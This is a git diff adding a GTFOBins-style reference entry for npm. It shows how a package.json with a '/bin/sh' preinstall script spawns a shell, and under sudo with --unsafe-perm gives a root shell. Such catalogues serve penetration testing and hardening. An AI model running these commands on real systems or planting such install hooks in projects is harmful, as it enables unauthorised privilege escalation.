diff --git a/_gtfobins/npm.md b/_gtfobins/npm.md
new file mode 100644
index 0000000..7bc88ae
--- /dev/null
+++ b/_gtfobins/npm.md
@@ -0,0 +1,13 @@
+---
+functions:
+  shell:
+    - code: |
+        TF=$(mktemp -d)
+        echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
+        npm -C $TF i
+  sudo:
+    - code: |
+        TF=$(mktemp -d)
+        echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
+        sudo npm -C $TF --unsafe-perm i
+---